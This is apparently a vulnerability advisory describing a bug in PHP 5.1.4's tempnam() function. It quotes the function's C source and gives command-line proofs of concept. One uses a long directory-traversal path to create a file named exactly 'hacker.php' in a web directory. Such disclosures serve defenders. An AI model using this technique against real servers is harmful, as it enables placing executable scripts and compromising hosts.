- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

A nice introduction to PHP by Stig Sæther Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the PHP Conference Material is freely available.
tempnam -- Create file with unique file name.

- --- 1. tempnam() Bypass unique file name ---
In lastes adv i have public an issue "Open Basedir Bypass". In function tempname() are required 2 arg`s.

http://pl.php.net/manual/en/function.tempnam.php

string tempnam ( string dir, string prefix )

In PHP 5.1.4 exists bug that allows you to create file with any name.

- ---
cxib# php -r 'echo tempnam("/www/temp/", "hacker.php")."\n";'
/www/temp/hacker.phpGQMqSE 
- ---

You have created file /www/temp/hacker.phpGQMqSE. "GQMqSE" is automatically added to filename.
Problem exists, because  path couldn't be longer than MAXPATHLEN. In standard MAXPATHLEN is 1024B.

PHP_FUNCTION(tempnam)
{
	zval **arg1, **arg2;
	char *d;
	char *opened_path;
	char *p;
	int fd;
	size_t p_len;

	if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &arg1, &arg2) == FAILURE) {
		WRONG_PARAM_COUNT;
	}
	convert_to_string_ex(arg1);
	convert_to_string_ex(arg2);

	if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) {
		RETURN_FALSE;
	}
	
	d = estrndup(Z_STRVAL_PP(arg1), Z_STRLEN_PP(arg1));

	php_basename(Z_STRVAL_PP(arg2), Z_STRLEN_PP(arg2), NULL, 0, &p, &p_len TSRMLS_CC);
	if (p_len > 64) {
		p[63] = '\0';
	}

	if ((fd = php_open_temporary_fd(d, p, &opened_path TSRMLS_CC)) >= 0) {
		close(fd);
		RETVAL_STRING(opened_path, 0);
	} else {
		RETVAL_FALSE;
	}
	efree(p);
	efree(d);
}

So if you create path like /www/../www/.. etc. 

arg1+arg2=1023

uniqueid is not given to path. 

Example:

- ---
cxib# php -r 'echo tempnam("/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/temp/", "hacker.php")."\n";'
/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/temp/hacker.php
